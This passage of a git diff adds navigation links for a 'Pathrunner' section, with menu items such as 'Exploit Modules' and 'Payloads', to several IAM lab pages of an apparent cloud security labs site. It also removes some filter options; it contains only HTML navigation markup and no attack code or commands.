+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-011/index.html b/docs/labs/iam-011/index.html
index 965618bb..71b5b49e 100644
--- a/docs/labs/iam-011/index.html
+++ b/docs/labs/iam-011/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-012-to-bucket/index.html b/docs/labs/iam-012-to-bucket/index.html
index 9b966359..022b665c 100644
--- a/docs/labs/iam-012-to-bucket/index.html
+++ b/docs/labs/iam-012-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-012/index.html b/docs/labs/iam-012/index.html
index 01e2a58b..c4853f95 100644
--- a/docs/labs/iam-012/index.html
+++ b/docs/labs/iam-012/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-013/index.html b/docs/labs/iam-013/index.html
index 2488b0f4..4f520e7f 100644
--- a/docs/labs/iam-013/index.html
+++ b/docs/labs/iam-013/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-014/index.html b/docs/labs/iam-014/index.html
index bcbdf324..ac4100b5 100644
--- a/docs/labs/iam-014/index.html
+++ b/docs/labs/iam-014/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
